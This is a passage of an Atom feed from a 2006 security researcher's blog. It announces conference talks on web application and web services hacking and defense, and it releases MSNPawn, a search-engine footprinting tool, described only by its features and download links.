href="http://eusecwest.com/"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/200/eusec.jpg" border="0" alt="" /&gt;&lt;/a&gt;Abstract:&lt;br /&gt;&lt;br /&gt;Attacks to web application layer are on the rise and innovative methodologies, attack vectors and exploits are coming into existence. To combat these threats it is imperative to understand its nature, characteristics and risk to application layer. Some of the new attack vectors are XPATH injection, LDAP poisoning and advanced SQL injection. These vectors are getting popular with XML based web applications. At the same time new methodologies for web application foot printing and discovery are coming to existence with rich search engine information provided by Google &amp; MSN. These methodologies are important to have as a tool to web security professionals. Open source exploit framework like Metasploit can be used effectively for web application exploit development for penetration testers. This presentation will encompass new methodologies, tools and techniques on both the aspects - attacks &amp; defense.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-113730093444034150?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/113730093444034150'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/113730093444034150'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/01/advanced-web-hacking-attacks-defense.html' title='Advanced Web Hacking - Attacks &amp; Defense (Upcoming talk)'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-113706930748849506</id><published>2006-01-12T04:31:00.000-08:00</published><updated>2006-01-12T04:46:55.883-08:00</updated><title type='text'>Hacking Web Services: Strategies, Tools, and Methods (Upcoming talk)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.misti.com/default.asp?page=65&amp;Return=70&amp;ProductID=4983"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/320/infosecworld.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Date: Tuesday, 4 April 2006&lt;br /&gt;Time: 3:30pm - 5pm&lt;br /&gt;Track: E-Security&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Objectives:&lt;br /&gt;1.)Web services as a new area of attack in the Web application domain&lt;br /&gt;2.)A live demo of a Web services assessment methodology&lt;br /&gt;3.)Understanding the Web protocols UDDI, SOAP and WSDL - the latest means of Web services attacks&lt;br /&gt;4.)Leveraging content filtering and secure coding for Web services&lt;br /&gt;5.)Implementing tools and creating your own tool on the fly while performing your work on Web services, e.g. wsChess&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-113706930748849506?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/113706930748849506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/113706930748849506'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/01/hacking-web-services-strategies-tools.html' title='Hacking Web Services: Strategies, Tools, and Methods (Upcoming talk)'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-113706875745396742</id><published>2006-01-12T04:20:00.000-08:00</published><updated>2006-01-12T04:52:11.910-08:00</updated><title type='text'>Hacking and Securing .NET (Upcoming talk)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.misti.com/default.asp?page=65&amp;Return=70&amp;ProductID=4983"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/320/infosecworld.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Date: Tuesday, 4 April 2006&lt;br /&gt;Time: 8:30am - 10:45am&lt;br /&gt;Track: Platform Security&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Objectives:&lt;br /&gt;1.)Understanding the evolution of Web application from CGI scripts to .Net apps   and the security concerns along the way&lt;br /&gt;2.).Net Web application hacking methodology and tools required to perform a thorough assessment.&lt;br /&gt;3.).Net and IIS metabase querying and auditing for overall secure deployment of Web application on the framework&lt;br /&gt;4.)HTTP stack intercept on .Net and leveraging it for application security&lt;br /&gt;5.)Building your own HTTPModule and interface to perform content filtering for Web applications&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-113706875745396742?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/113706875745396742'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/113706875745396742'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/01/hacking-and-securing-net-upcoming-talk.html' title='Hacking and Securing .NET (Upcoming talk)'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-113698655833427146</id><published>2006-01-11T05:35:00.000-08:00</published><updated>2006-01-11T05:35:58.353-08:00</updated><title type='text'>MSNPawn - New tool is coded up.</title><content type='html'>MSNPawn has been designed and developed on the .Net framework and must be installed on the system. The following utilities have been bundled with MSNPawn.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;MSNHostFP&lt;/b&gt; - Supply an IP Address or IP Address range to fetch all possible virtual hosts or application running on each IP addresses.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;MSNDomainFP -&lt;/b&gt; Supply a domain name to fetch the top 50 child domains, considering the supplied domain name as parent.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;MSNCrossDomainFP -&lt;/b&gt; Supply an application domain to fetch the top 50 domains pointing to this particular domain on the Internet.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;MSNCrawler -&lt;/b&gt; Supply a domain or application name to fetch all possible links crawled by the search engine.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;MSNFetch -&lt;/b&gt; Supply a domain and rules file. The tool will run each rule in the file against the domain specified and fetch the first five results of the resultant query. This can help in assessing an application.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Search.MSN -&lt;/b&gt; Provides place to run your search against MSN and gather all URLs.&lt;br /&gt;&lt;br /&gt;Whitepaper is included for better understanding for all these tools.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://net-square.com/msnpawn/msnpawn_1.0.zip"&gt;[Download]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://net-square.com/msnpawn/MSNPawn_research_usage.pdf"&gt;[Download paper]&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-113698655833427146?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/113698655833427146'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/113698655833427146'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/01/msnpawn-new-tool-is-coded-up.html' title='MSNPawn - New tool is coded up.'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry></feed>
